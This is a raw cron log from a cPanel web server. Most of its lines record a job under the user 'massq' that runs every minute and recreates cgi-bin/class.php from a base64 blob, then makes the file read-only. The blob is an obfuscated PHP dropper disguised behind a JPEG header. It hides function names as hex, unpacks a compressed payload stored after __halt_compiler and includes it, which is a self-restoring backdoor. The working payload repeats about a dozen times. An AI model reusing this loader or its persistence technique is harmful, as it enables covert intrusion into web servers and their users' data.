Nov 15 03:59:01 server CROND[29907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:00:01 server CROND[30170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 04:00:01 server CROND[30171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:00:01 server CROND[30173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:00:01 server CROND[30174]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 04:00:01 server CROND[30172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:01:01 server CROND[30495]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 04:01:01 server CROND[30496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:01:01 server run-parts(/etc/cron.hourly)[30495]: starting 0anacron
Nov 15 04:01:01 server run-parts(/etc/cron.hourly)[30508]: finished 0anacron
Nov 15 04:02:01 server CROND[30756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:03:01 server CROND[31117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:04:01 server CROND[31516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:05:01 server CROND[31819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:05:01 server CROND[31820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:05:01 server CROND[31822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:05:01 server CROND[31821]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 04:06:01 server CROND[32143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:07:01 server CROND[32447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:08:01 server CROND[345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:09:01 server CROND[601]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 04:09:01 server CROND[603]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:10:01 server CROND[884]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 04:10:01 server CROND[883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 04:10:01 server CROND[885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 04:10:01 server CROND[886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:11:01 server CROND[1194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 04:12:01 server CROND[1460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
